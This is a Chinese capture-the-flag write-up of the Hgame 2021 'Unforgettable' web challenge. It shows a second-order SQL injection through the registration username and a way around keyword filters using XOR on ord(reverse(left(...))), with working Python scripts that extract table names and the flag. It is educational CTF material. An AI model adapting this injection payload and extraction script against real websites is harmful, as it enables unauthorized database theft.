2021 Hgame week4 web Unforgettable
做了这道web题目,自己解题的方法和官方wp不太一样
官方和大部分用的时间盲注,自己用得异或做的
初探
由于这道题和上周的ssti网站ui一致,所以先测了半天ssti
但是测试后发现ban了{{和{%
所以其实是不可能ssti的,
于是测其他内容,在用户名位置发现了二次注入
比如这里两个url对应的用户名位置结果不一样
其实根据题目描述,flag 内容中的字母都为小写
,经验丰富的话能想到regexp
是不区分大小写的
尝试
发现这里ban掉了mid,substr,substring,ascii,and,like,sleep,union,<,>,=等等
所以这里能考虑时间盲注,但是我嫌太慢了,于是采用异或做的速度会很快
原理
在sql语句中,字符串与数字可以做异或,字符串会转换为int与数字做异或,优先级较高。
例如这里127^15的结果为112
在网站中注册查看效果
这里有个注意点,当查询的username不存在时,会报错
解题
之后就是写脚本了,大致思路
- 注册0~127的用户
- 注册有payload的用户名
- 登录用户
- 访问/user
- 提取username
- 退出
这里所有的步骤都要有session
初始注册
- 实际上csrftoken没有起作用
import requests
import random
import time
session = requests.session()
proxies = {
"http": "http://127.0.0.1:8084",
"https": "http://127.0.0.1:8084"
}
for i in range(0, 127):
time.sleep(0.3)
ran = random.randint(1000000, 999999999)
burp0_url = "https://unforgettable.liki.link:443/register"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "https://unforgettable.liki.link", "Connection": "close", "Referer": "https://unforgettable.liki.link/register", "Upgrade-Insecure-Requests": "1"}
burp0_data = {"username": "{}".format(i),
"email": "{}@qq.com".format(ran), "password": "admin", "submit": "\xe6\xb3\xa8\xe5\x86\x8c"}
r = session.post(burp0_url, headers=burp0_headers, proxies=proxies, data=burp0_data)
if "You have registered!" not in r.text:
if "Invalid Username" in r.text:
print(r.text)
continue
else:
print(i,"注册失败")
注入
- 这里ban掉了mid,substr,substring,ascii,and,like,sleep,union
- 比较基础,用ord(reverse(left((select version()),1)))
脚本
import requests
import random
import time
import re
session = requests.session()
proxies = {
"http": "http://127.0.0.1:8084",
"https": "https://127.0.0.1:8084"
}
s = ""
# evsql = "SELECT group_concat(distinct(table_schema)) FROM information_schema.tables"
# evsql = "SELECT group_concat(distinct(table_name)) FROM information_schema.tables where table_schema REGEXP 'todolist'"
# evsql = "SELECT group_concat(distinct(column_name)) FROM information_schema.columns where table_name REGEXP 'ffflllaagggg'"
evsql = "SELECT group_concat(ffllllaaaagg) FROM ffflllaagggg"
for i in range(1, 40):
# time.sleep(1)
ran = random.randint(1000000, 999999999)
burp0_url = "https://unforgettable.liki.link:443/register"
burp0_data = {"username": "0'^ord(reverse(left(({}),{})))#{}".format(evsql, i, ran).replace(' ', '\t'),
"email": "adewter{}@qq.com".format(ran), "password": "admin", "submit": "\xe6\xb3\xa8\xe5\x86\x8c"}
r = session.post(burp0_url, proxies=proxies, data=burp0_data, allow_redirects=False)
if "Redirecting" not in r.text:
if "Invalid Username" in r.text:
continue
else:
print(r.text)
print("注册失败")
exit()
burp0_url = "https://unforgettable.liki.link:443/login"
burp0_data = {"email": "adewter{}@qq.com".format(ran), "password": "admin", "submit": "\xe7\x99\xbb\xe5\xbd\x95"}
r = session.post(burp0_url, proxies=proxies, data=burp0_data, allow_redirects=False)
if "Redirecting" not in r.text:
print(r.text)
print("登录失败")
exit()
burp0_url = "https://unforgettable.liki.link:443/user"
r = session.get(burp0_url, proxies=proxies, allow_redirects=False)
if "Something went wrong!" in r.text:
print(i, "Something went wrong!")
elif "User ID" in r.text:
content = re.findall(r"""Username: (\d+)""", r.text)
print(content)
s += chr(int(content[0]))
print(s)
burp0_url = "https://unforgettable.liki.link:443/logout"
session.get(burp0_url, allow_redirects=False)
- 反正基本上是从bp复制粘贴来的,所以写起来不麻烦,跑结果也基本上1s一个
之后再补上一个用多线程的时间盲注吧
后记
其实这种注入现实中不是很常见,不具备很强的通用性,但是这种做法还是能很高效的得到结果
因为布尔或者时间盲注,每一次请求实际上最快只能得到1bit,这种用数字异或的办法,在这道题中能一次得到8bit的信息